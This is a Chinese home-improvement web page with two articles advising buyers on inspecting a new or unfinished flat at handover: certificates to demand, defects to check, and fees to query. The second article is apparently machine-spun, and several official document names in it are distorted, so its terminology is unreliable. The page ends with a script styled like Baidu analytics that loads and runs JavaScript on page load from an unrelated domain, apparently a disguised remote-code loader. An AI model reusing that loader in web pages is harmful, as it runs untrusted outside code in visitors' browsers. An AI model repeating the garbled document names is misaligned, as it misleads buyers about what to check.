收房时需要注意哪些？

终于到了收房的日子啦，对于大多数业主来说都是满心欢喜的心情，你知道吗?收房一般是整个买房过程的最后环节，当然也是最容易出问题的阶段，一不小心，也许业主就会被开发商忽悠，因此，千万不要被喜悦冲昏了头脑，那么在收房时有哪些问题需要注意呢?下面与小编一起来看看吧!1、先验房后签字在房屋交付的时候，一般是正常的操作程序是先验房后缴费，再签相关文件，现在有些房屋开发商会采取签文件再验房的方法，这样往往使购房者处于被动状态，因此，我们可以在签合同的时候，可以先把先验房再收房这一条，作为合同的附加条款，在后期出现问题时，用此可以作为证据，如果是业主在当初签合同没有写的，可以在收房文件中注明“未验房”等字样。2、“两书两表”要看清在收房前，开发商应向购房者出示《住宅使用说明书》、《住宅质量保证书》、《竣工验收备案表》和《面积实测表》(简称“两书两表”)，如果开发商出示的证书不齐全，就很难保证建筑质量，所以在签订购房合同之前，业主一定要把相关的证件纳入交房的必要条件中，防止开发商违规无证交房。如果开发商出示证件不齐，可以先问问清楚，或者购房人可以选择不收房。3、验房步骤不放过业主在验房时，首先要看看房屋的主体结构是否有问题，比如，地面是否平整有无渗透，门窗是否平直以及房屋是否有瑕疵等情况，如果业主对房屋质量检查不是很熟悉，可以请一个专业的验房师来验房，在验收的过程中，如发现有以上的问题存在，业主可以要求开发商按照合同条款进行重修，从而保障自己的权益。4、缴费笔笔算清业主在办理房屋验收入住手续后，就可以安心的入住啦，但有些业主会遇到这样或那样的问题，比如，物业管理费、水费、电费的押金等管理费。现在，据国家政府相关部门规定，在开发商交房的时候，房屋用到的燃气，电视、电话等费用不再向业主收取，如果开发商再收取得话，则可以向相关部门反映，维护自己的利益。以上就是就是小编分享的在收房时应注意哪些问题，希望对广大业主有所帮助，有关更多精彩内容请关注本溪装修网。

验收毛坯房标准 毛坯房验房收房步骤

一、毛坯房验房收房的重要性随着大家生活品质的提高，现在大部分业主在购买完房子之后会对毛坯房进行验收，一般都纠结毛坯房验房收房步骤，为什么要验收毛坯房呢？就好像大家买衣服一样，买的时候一定要看外观、颜色、质量等，那么验收毛坯房也是一个道理，毛坯房质量的的好坏，直接关系到业主以后的生活质量。因此在验收毛坯房之前先了解一下毛坯房验房收房步骤是很有必要的，那么下面就毛坯房验房收房步骤及注意事项做进一步阐述二、为什么要验收毛坯房为什么要验收毛坯房？验收房子是科学评估房子价值的重要依据，是维护消费者权益的必要手法。就像买衣服一样。买的时候一定要看外观、颜色、质量等。那么验收毛坯房也是一个道理。三、毛坯房验房收房步骤及标准首先要看“三书一证一表”“三书”住所运用说明书、质量保证书、修建工程质量认定书；“一证”房产开发建设项目竣工归纳验收合格证；“一表”修建竣工验收存案表。检查房子总面积是否达到合同上所标注的购买面积，精确度在正负百分之三，达标后业主才可以签字验收。核对购房合同的配套设施、交费是否合理。检查室内是否有裂缝、起沙、空鼓、平整度、爆灰、阴阳角等问题。顶棚、门窗质量是否达到规定标准。水电验收、重点检查厨卫渗漏实验，电路是否绝缘接地，给排水是否畅通等。有些业主图省事、没经验，没有对毛坯房进行验收，其最直接的结果是本应由开发商承担的赔偿费用，都有自己承担了，再就有些装修公司趁机钻空子，给业主造成很大经济损失，以上是毛坯房验房收房步骤,能确保消费者利益。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();